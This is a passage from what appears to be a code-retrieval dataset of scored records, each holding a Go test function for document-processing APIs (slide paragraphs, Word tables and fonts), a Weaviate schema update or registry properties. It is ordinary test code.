*testing.T) {\n request := createDeleteParagraphRequest()\n e := initializeTest(\"DeleteParagraph\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.DeleteParagraph(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "f70953cc30d51d1c333994b50e3d21aa", "score": "0.58232266", "text": "func Test_Table_UpdateTableProperties(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Tables\"\n localFile := \"DocumentElements/Tables/TablesGet.docx\"\n remoteFileName := \"TestUpdateTableProperties.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(localFile), remoteDataFolder + \"/\" + remoteFileName)\n\n requestProperties := models.TableProperties{\n Alignment: \"Right\",\n AllowAutoFit: false,\n Bidi: true,\n BottomPadding: 1,\n CellSpacing: 2,\n StyleOptions: \"ColumnBands\",\n }\n\n options := map[string]interface{}{\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.UpdateTableProperties(ctx, remoteFileName, requestProperties, \"\", int32(1), options)\n\n if err != nil {\n t.Error(err)\n }\n}", "title": "" }, { "docid": "9038c3173c56b2b78f1322e84cda106e", "score": "0.5822275", "text": "func TestPostAddNewParagraph(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n e := initializeTest(\"PostAddNewParagraph\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.PostAddNewParagraph(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "9299a9938dd1baa3941324d9b5873628", "score": "0.5816904", "text": "func TestDeleteParagraphsInvalidshapeIndex(t *testing.T) {\n request := createDeleteParagraphsRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"DeleteParagraphs\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraphs(request)\n assertError(t, \"DeleteParagraphs\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "4935ce70e5ed270d13cc576c694ca112", "score": "0.57953006", "text": "func TestDeleteParagraphs(t *testing.T) {\n request := createDeleteParagraphsRequest()\n e := initializeTest(\"DeleteParagraphs\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.DeleteParagraphs(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "6e4d482f5f8e52ced1991be641aa18ca", "score": "0.5792253", "text": "func TestDeleteParagraphInvalidshapeIndex(t *testing.T) {\n request := createDeleteParagraphRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"DeleteParagraph\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraph(request)\n assertError(t, \"DeleteParagraph\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "d514fa39035beaa052f145cae33fe7e8", "score": "0.5783501", "text": "func TestDeleteParagraphsInvalidparagraphs(t *testing.T) {\n request := createDeleteParagraphsRequest()\n request.paragraphs = invalidizeTestParamValue(request.paragraphs, \"paragraphs\", \"[]int32\").([]int32)\n e := initializeTest(\"DeleteParagraphs\", \"paragraphs\", request.paragraphs)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraphs(request)\n assertError(t, \"DeleteParagraphs\", \"paragraphs\", r.Code, e)\n}", "title": "" }, { "docid": "45877e419621bda646e1ee41cad9be3d", "score": "0.5708311", "text": "func TestGetShapeParagraphInvalidshapeIndex(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"GetShapeParagraph\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "f1c3517584b3aef4985e337d0d458ad9", "score": "0.5672584", "text": "func TestGetShapeParagraphInvalidparagraphIndex(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"GetShapeParagraph\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "fae8d841050957498c01b498d9d9ecbf", "score": "0.5661563", "text": "func TestGetSlideShapeParagraphs(t *testing.T) {\n request := createGetSlideShapeParagraphsRequest()\n e := initializeTest(\"GetSlideShapeParagraphs\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.GetSlideShapeParagraphs(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "19f84f517bcab2abf7366d303e7d19f4", "score": "0.5622632", "text": "func TestPutSlideShapeInfoInvaliddto(t *testing.T) {\n request := createPutSlideShapeInfoRequest()\n request.dto = invalidizeTestParamValue(request.dto, \"dto\", \"interface{}\").(interface{})\n e := initializeTest(\"PutSlideShapeInfo\", \"dto\", request.dto)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSlideShapeInfo(request)\n assertError(t, \"PutSlideShapeInfo\", \"dto\", r.Code, e)\n}", "title": "" }, { "docid": "91e6ea01857669d62531f2f9e06a2e6b", "score": "0.5597871", "text": "func TestGetParagraphPortion(t *testing.T) {\n request := createGetParagraphPortionRequest()\n e := initializeTest(\"GetParagraphPortion\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.GetParagraphPortion(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "6877c70e16ad8a4b92cfe90feca1649c", "score": "0.5581251", "text": "func TestGetParagraphPortionInvalidshapeIndex(t *testing.T) {\n request := createGetParagraphPortionRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"GetParagraphPortion\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetParagraphPortion(request)\n assertError(t, \"GetParagraphPortion\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "3e0143addac25620e091e4962911e78f", "score": "0.5581038", "text": "func TestGetParagraphPortionsInvalidshapeIndex(t *testing.T) {\n request := createGetParagraphPortionsRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"GetParagraphPortions\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetParagraphPortions(request)\n assertError(t, \"GetParagraphPortions\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "16b818902e1cee3d1d715ab6eb2f0353", "score": "0.55784476", "text": "func TestGetSlideShapeParagraphsInvalidshapeIndex(t *testing.T) {\n request := createGetSlideShapeParagraphsRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"GetSlideShapeParagraphs\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetSlideShapeParagraphs(request)\n assertError(t, \"GetSlideShapeParagraphs\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "9ba7ddec4116653a8c4f92e92b2b1d0f", "score": "0.552255", "text": "func Test_Paragraph_UpdateParagraphListFormatWithoutNodePath(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n listFolder := \"DocumentElements/ParagraphListFormat\"\n remoteFileName := \"TestUpdateParagraphListFormatWithoutNodePath.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(listFolder + \"/ParagraphUpdateListFormat.doc\"), remoteDataFolder + \"/\" + remoteFileName)\n\n requestDto := models.ListFormatUpdate{\n ListId: int32(2),\n }\n\n options := map[string]interface{}{\n \"folder\": remoteDataFolder,\n }\n _, _, err := client.WordsApi.UpdateParagraphListFormat(ctx, remoteFileName, requestDto, int32(0), options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "436f240e84b9acff418a7c04a362ad10", "score": "0.5506728", "text": "func TestGetParagraphPortions(t *testing.T) {\n request := createGetParagraphPortionsRequest()\n e := initializeTest(\"GetParagraphPortions\", \"\", \"\")\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n c := getTestApiClient()\n r, _, e := c.ShapesApi.GetParagraphPortions(request)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n if r.Code != 200 && r.Code != 201 {\n t.Errorf(\"Wrong response code: %d.\", r.Code)\n return\n }\n}", "title": "" }, { "docid": "935d1707da63c96b2ee296695404bd99", "score": "0.54281163", "text": "func TestGetShapeParagraphInvalidpath(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"GetShapeParagraph\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "956043be7c53e0ada34f7544cd72ece2", "score": "0.5419857", "text": "func TestPutSlideShapeInfoInvalidshapeIndex(t *testing.T) {\n request := createPutSlideShapeInfoRequest()\n request.shapeIndex = invalidizeTestParamValue(request.shapeIndex, \"shapeIndex\", \"int32\").(int32)\n e := initializeTest(\"PutSlideShapeInfo\", \"shapeIndex\", request.shapeIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSlideShapeInfo(request)\n assertError(t, \"PutSlideShapeInfo\", \"shapeIndex\", r.Code, e)\n}", "title": "" }, { "docid": "520532e063fbbe4d835342697bd13e3a", "score": "0.5359702", "text": "func TestDeleteParagraphInvalidparagraphIndex(t *testing.T) {\n request := createDeleteParagraphRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"DeleteParagraph\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraph(request)\n assertError(t, \"DeleteParagraph\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "5692c6a935fca047d610b588e3f792c2", "score": "0.53022957", "text": "func TestPostAddNewParagraphInvalidposition(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.position = invalidizeTestParamValue(request.position, \"position\", \"int32\").(int32)\n e := initializeTest(\"PostAddNewParagraph\", \"position\", request.position)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"position\", r.Code, e)\n}", "title": "" }, { "docid": "6f70f49a5b251c3740b69615b68f51d9", "score": "0.5254714", "text": "func Test_Paragraph_UpdateRunFont(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n localFile := \"Common/test_multi_pages.docx\"\n remoteFileName := \"TestUpdateRunFont.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(localFile), remoteDataFolder + \"/\" + remoteFileName)\n\n requestFontDto := models.Font{\n Bold: true,\n }\n\n options := map[string]interface{}{\n \"folder\": remoteDataFolder,\n \"destFileName\": baseTestOutPath + \"/\" + remoteFileName,\n }\n _, _, err := client.WordsApi.UpdateRunFont(ctx, remoteFileName, requestFontDto, \"paragraphs/0\", int32(0), options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "280f634d53b6251c7efe4b4a4cb26463", "score": "0.5254474", "text": "func TestPostAddNewPortionInvalidparagraphIndex(t *testing.T) {\n request := createPostAddNewPortionRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"PostAddNewPortion\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewPortion(request)\n assertError(t, \"PostAddNewPortion\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "064038af93fa1fb22b45307b16e337c3", "score": "0.52526283", "text": "func TestPostAddNewParagraphInvalidpath(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"PostAddNewParagraph\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "257a968536275aa08c57f266c0a1288d", "score": "0.51737463", "text": "func TestGetShapeParagraphInvalidslideIndex(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.slideIndex = invalidizeTestParamValue(request.slideIndex, \"slideIndex\", \"int32\").(int32)\n e := initializeTest(\"GetShapeParagraph\", \"slideIndex\", request.slideIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"slideIndex\", r.Code, e)\n}", "title": "" }, { "docid": "f7c7b9d5a672f621f0c08ee4a8ba7c1b", "score": "0.5164386", "text": "func TestPostAddNewShapeInvaliddto(t *testing.T) {\n request := createPostAddNewShapeRequest()\n request.dto = invalidizeTestParamValue(request.dto, \"dto\", \"interface{}\").(interface{})\n e := initializeTest(\"PostAddNewShape\", \"dto\", request.dto)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewShape(request)\n assertError(t, \"PostAddNewShape\", \"dto\", r.Code, e)\n}", "title": "" }, { "docid": "0ff97a84e27b7ae41bbb08a5ce94473a", "score": "0.5157526", "text": "func TestUpdateHNSWSettingsAfterAddingRefProps(t *testing.T) {\n\tclassName := \"RefUpdateIssueClass\"\n\n\tt.Run(\"asserting that this class does not exist yet\", func(t *testing.T) {\n\t\tassert.NotContains(t, GetObjectClassNames(t), className)\n\t})\n\n\tdefer func(t *testing.T) {\n\t\tparams := clschema.NewSchemaObjectsDeleteParams().WithClassName(className)\n\t\t_, err := helper.Client(t).Schema.SchemaObjectsDelete(params, nil)\n\t\tassert.Nil(t, err)\n\t\tif err != nil {\n\t\t\tif typed, ok := err.(*clschema.SchemaObjectsDeleteBadRequest); ok {\n\t\t\t\tfmt.Println(typed.Payload.Error[0].Message)\n\t\t\t}\n\t\t}\n\t}(t)\n\n\tt.Run(\"initially creating the class\", func(t *testing.T) {\n\t\tc := &models.Class{\n\t\t\tClass: className,\n\t\t\tProperties: []*models.Property{\n\t\t\t\t{\n\t\t\t\t\tName: \"string_prop\",\n\t\t\t\t\tDataType: schema.DataTypeText.PropString(),\n\t\t\t\t\tTokenization: models.PropertyTokenizationWhitespace,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\n\t\tparams := clschema.NewSchemaObjectsCreateParams().WithObjectClass(c)\n\t\t_, err := helper.Client(t).Schema.SchemaObjectsCreate(params, nil)\n\t\tassert.Nil(t, err)\n\t})\n\n\tt.Run(\"adding a ref prop after the fact\", func(t *testing.T) {\n\t\tparams := clschema.NewSchemaObjectsPropertiesAddParams().\n\t\t\tWithClassName(className).\n\t\t\tWithBody(&models.Property{\n\t\t\t\tDataType: []string{className},\n\t\t\t\tName: \"ref_prop\",\n\t\t\t})\n\t\t_, err := helper.Client(t).Schema.SchemaObjectsPropertiesAdd(params, nil)\n\t\tassert.Nil(t, err)\n\t})\n\n\tt.Run(\"obtaining the class, making an innocent change and trying to update it\", func(t *testing.T) {\n\t\tparams := clschema.NewSchemaObjectsGetParams().\n\t\t\tWithClassName(className)\n\t\tres, err := helper.Client(t).Schema.SchemaObjectsGet(params, nil)\n\t\trequire.Nil(t, err)\n\n\t\tclass := res.Payload\n\n\t\tclass.VectorIndexConfig.(map[string]interface{})[\"ef\"] = float64(1234)\n\n\t\tupdateParams := clschema.NewSchemaObjectsUpdateParams().\n\t\t\tWithClassName(className).\n\t\t\tWithObjectClass(class)\n\t\t_, err = helper.Client(t).Schema.SchemaObjectsUpdate(updateParams, nil)\n\t\tassert.Nil(t, err)\n\t})\n\n\tt.Run(\"obtaining the class, making a change to IndexNullState (immutable) property and update\", func(t *testing.T) {\n\t\tparams := clschema.NewSchemaObjectsGetParams().\n\t\t\tWithClassName(className)\n\t\tres, err := helper.Client(t).Schema.SchemaObjectsGet(params, nil)\n\t\trequire.Nil(t, err)\n\n\t\tclass := res.Payload\n\n\t\t// IndexNullState cannot be updated during runtime\n\t\tclass.InvertedIndexConfig.IndexNullState = true\n\t\tupdateParams := clschema.NewSchemaObjectsUpdateParams().\n\t\t\tWithClassName(className).\n\t\t\tWithObjectClass(class)\n\t\t_, err = helper.Client(t).Schema.SchemaObjectsUpdate(updateParams, nil)\n\t\tassert.NotNil(t, err)\n\t})\n\n\tt.Run(\"obtaining the class, making a change to IndexPropertyLength (immutable) property and update\", func(t *testing.T) {\n\t\tparams := clschema.NewSchemaObjectsGetParams().\n\t\t\tWithClassName(className)\n\t\tres, err := helper.Client(t).Schema.SchemaObjectsGet(params, nil)\n\t\trequire.Nil(t, err)\n\n\t\tclass := res.Payload\n\n\t\t// IndexPropertyLength cannot be updated during runtime\n\t\tclass.InvertedIndexConfig.IndexPropertyLength = true\n\t\tupdateParams := clschema.NewSchemaObjectsUpdateParams().\n\t\t\tWithClassName(className).\n\t\t\tWithObjectClass(class)\n\t\t_, err = helper.Client(t).Schema.SchemaObjectsUpdate(updateParams, nil)\n\t\tassert.NotNil(t, err)\n\t})\n}", "title": "" }, { "docid": "c6f6801b88c73128a8b9b54e02a372c9", "score": "0.5146602", "text": "func TestGetParagraphPortionInvalidparagraphIndex(t *testing.T) {\n request := createGetParagraphPortionRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"GetParagraphPortion\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetParagraphPortion(request)\n assertError(t, \"GetParagraphPortion\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "b1c415a9e2d1f552f162cf0f99323a66", "score": "0.5146487", "text": "func TestGetSlideShapeParagraphsInvalidpath(t *testing.T) {\n request := createGetSlideShapeParagraphsRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"GetSlideShapeParagraphs\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetSlideShapeParagraphs(request)\n assertError(t, \"GetSlideShapeParagraphs\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "5cf501f5a3affe43ba37f102e64b6614", "score": "0.5136737", "text": "func testProperties(ctx context.Context, registryClient connection.Client, t *testing.T, parent string) {\n\t// Set a string property.\n\t{\n\t\treq := &rpc.CreatePropertyRequest{\n\t\t\tParent: parent,\n\t\t\tPropertyId: \"string\",\n\t\t\tProperty: &rpc.Property{\n\t\t\t\tValue: &rpc.Property_StringValue{StringValue: \"testing\"},\n\t\t\t},\n\t\t}\n\t\t_, err := registryClient.CreateProperty(ctx, req)\n\t\tcheck(t, \"error creating property %s\", err)\n\t}\n\t// Set an int64 property.\n\t{\n\t\treq := &rpc.CreatePropertyRequest{\n\t\t\tParent: parent,\n\t\t\tPropertyId: \"int64\",\n\t\t\tProperty: &rpc.Property{\n\t\t\t\tValue: &rpc.Property_Int64Value{Int64Value: 123},\n\t\t\t},\n\t\t}\n\t\t_, err := registryClient.CreateProperty(ctx, req)\n\t\tcheck(t, \"error creating property %s\", err)\n\t}\n\t// Set a double property.\n\t{\n\t\treq := &rpc.CreatePropertyRequest{\n\t\t\tParent: parent,\n\t\t\tPropertyId: \"double\",\n\t\t\tProperty: &rpc.Property{\n\t\t\t\tValue: &rpc.Property_DoubleValue{DoubleValue: 123.456},\n\t\t\t},\n\t\t}\n\t\t_, err := registryClient.CreateProperty(ctx, req)\n\t\tcheck(t, \"error creating property %s\", err)\n\t}\n\t// Set a boolean property.\n\t{\n\t\treq := &rpc.CreatePropertyRequest{\n\t\t\tParent: parent,\n\t\t\tPropertyId: \"bool\",\n\t\t\tProperty: &rpc.Property{\n\t\t\t\tValue: &rpc.Property_BoolValue{BoolValue: true},\n\t\t\t},\n\t\t}\n\t\t_, err := registryClient.CreateProperty(ctx, req)\n\t\tcheck(t, \"error creating property %s\", err)\n\t}\n\t// Set a bytes property.\n\tif true {\n\t\treq := &rpc.CreatePropertyRequest{\n\t\t\tParent: parent,\n\t\t\tPropertyId: \"bytes\",\n\t\t\tProperty: &rpc.Property{\n\t\t\t\tValue: &rpc.Property_BytesValue{BytesValue: []byte(\"hello\")},\n\t\t\t},\n\t\t}\n\t\t_, err := registryClient.CreateProperty(ctx, req)\n\t\tcheck(t, \"error creating property %s\", err)\n\t}\n\t// Set a message property.\n\tif true {\n\t\treq := &rpc.CreatePropertyRequest{\n\t\t\tParent: parent,\n\t\t\tPropertyId: \"message\",\n\t\t\tProperty: &rpc.Property{\n\t\t\t\tValue: &rpc.Property_MessageValue{MessageValue: &anypb.Any{TypeUrl: \"echo\", Value: []byte{\n\t\t\t\t\t0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f,\n\t\t\t\t}}},\n\t\t\t},\n\t\t}\n\t\t_, err := registryClient.CreateProperty(ctx, req)\n\t\tcheck(t, \"error creating property %s\", err)\n\t}\n}", "title": "" }, { "docid": "e815608ce6f58162526d68a0b1f223c7", "score": "0.51361775", "text": "func TestDeleteParagraphsInvalidpath(t *testing.T) {\n request := createDeleteParagraphsRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"DeleteParagraphs\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraphs(request)\n assertError(t, \"DeleteParagraphs\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "4bc2691de5ccbb8a8c0451a3708a944d", "score": "0.5133859", "text": "func TestGetShapeParagraphInvalidname(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.name = invalidizeTestParamValue(request.name, \"name\", \"string\").(string)\n e := initializeTest(\"GetShapeParagraph\", \"name\", request.name)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"name\", r.Code, e)\n}", "title": "" }, { "docid": "3aa8fa8e5f9629fb842b66d84ea48436", "score": "0.5114956", "text": "func TestGetParagraphPortionsInvalidparagraphIndex(t *testing.T) {\n request := createGetParagraphPortionsRequest()\n request.paragraphIndex = invalidizeTestParamValue(request.paragraphIndex, \"paragraphIndex\", \"int32\").(int32)\n e := initializeTest(\"GetParagraphPortions\", \"paragraphIndex\", request.paragraphIndex)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetParagraphPortions(request)\n assertError(t, \"GetParagraphPortions\", \"paragraphIndex\", r.Code, e)\n}", "title": "" }, { "docid": "888a0ac82475ec88d6c6312a34302d22", "score": "0.51084214", "text": "func Test_Paragraph_RenderParagraph(t *testing.T) {\n config := ReadConfiguration(t)\n client, ctx := PrepareTest(t, config)\n remoteDataFolder := remoteBaseTestDataFolder + \"/DocumentElements/Paragraphs\"\n localFile := \"Common/test_multi_pages.docx\"\n remoteFileName := \"TestRenderParagraph.docx\"\n\n UploadNextFileToStorage(t, ctx, client, GetLocalFile(localFile), remoteDataFolder + \"/\" + remoteFileName)\n\n\n options := map[string]interface{}{\n \"nodePath\": \"\",\n \"folder\": remoteDataFolder,\n }\n _, err := client.WordsApi.RenderParagraph(ctx, remoteFileName, \"png\", int32(0), options)\n\n if err != nil {\n t.Error(err)\n }\n\n}", "title": "" }, { "docid": "0fb3cdf59d5356698dde7b4d6d7687f9", "score": "0.5108096", "text": "func TestPutSlideShapeInfoInvalidpath(t *testing.T) {\n request := createPutSlideShapeInfoRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"PutSlideShapeInfo\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PutSlideShapeInfo(request)\n assertError(t, \"PutSlideShapeInfo\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "efe6e346559be51ee3422a94debefde5", "score": "0.51022595", "text": "func TestPostAddNewParagraphInvalidpassword(t *testing.T) {\n request := createPostAddNewParagraphRequest()\n request.password = invalidizeTestParamValue(request.password, \"password\", \"string\").(string)\n e := initializeTest(\"PostAddNewParagraph\", \"password\", request.password)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.PostAddNewParagraph(request)\n assertError(t, \"PostAddNewParagraph\", \"password\", r.Code, e)\n}", "title": "" }, { "docid": "dae6be98e864728757561080f3c49a62", "score": "0.5085448", "text": "func TestDeleteParagraphInvalidpath(t *testing.T) {\n request := createDeleteParagraphRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"DeleteParagraph\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteParagraph(request)\n assertError(t, \"DeleteParagraph\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "4dbc6e82621dc2360b811a3b446ac5c8", "score": "0.5081954", "text": "func TestGetParagraphPortionInvalidpath(t *testing.T) {\n request := createGetParagraphPortionRequest()\n request.path = invalidizeTestParamValue(request.path, \"path\", \"string\").(string)\n e := initializeTest(\"GetParagraphPortion\", \"path\", request.path)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetParagraphPortion(request)\n assertError(t, \"GetParagraphPortion\", \"path\", r.Code, e)\n}", "title": "" }, { "docid": "3ca650ba1e48c670ed5a9386d9faa4b6", "score": "0.5073985", "text": "func TestGetShapeParagraphInvalidpassword(t *testing.T) {\n request := createGetShapeParagraphRequest()\n request.password = invalidizeTestParamValue(request.password, \"password\", \"string\").(string)\n e := initializeTest(\"GetShapeParagraph\", \"password\", request.password)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.GetShapeParagraph(request)\n assertError(t, \"GetShapeParagraph\", \"password\", r.Code, e)\n}", "title": "" }, { "docid": "da2a50ea445e5499ac3cdc044583017a", "score": "0.50663537", "text": "func TestDeleteSlideShapesInvalidshapes(t *testing.T) {\n request := createDeleteSlideShapesRequest()\n request.shapes = invalidizeTestParamValue(request.shapes, \"shapes\", \"[]int32\").([]int32)\n e := initializeTest(\"DeleteSlideShapes\", \"shapes\", request.shapes)\n if e != nil {\n t.Errorf(\"Error: %v.\", e)\n return\n }\n r, _, e := getTestApiClient().ShapesApi.DeleteSlideShapes(request)\n assertError(t, \"DeleteSlideShapes\", \"shapes\", r.Code, e)\n}", "title": "" }, { 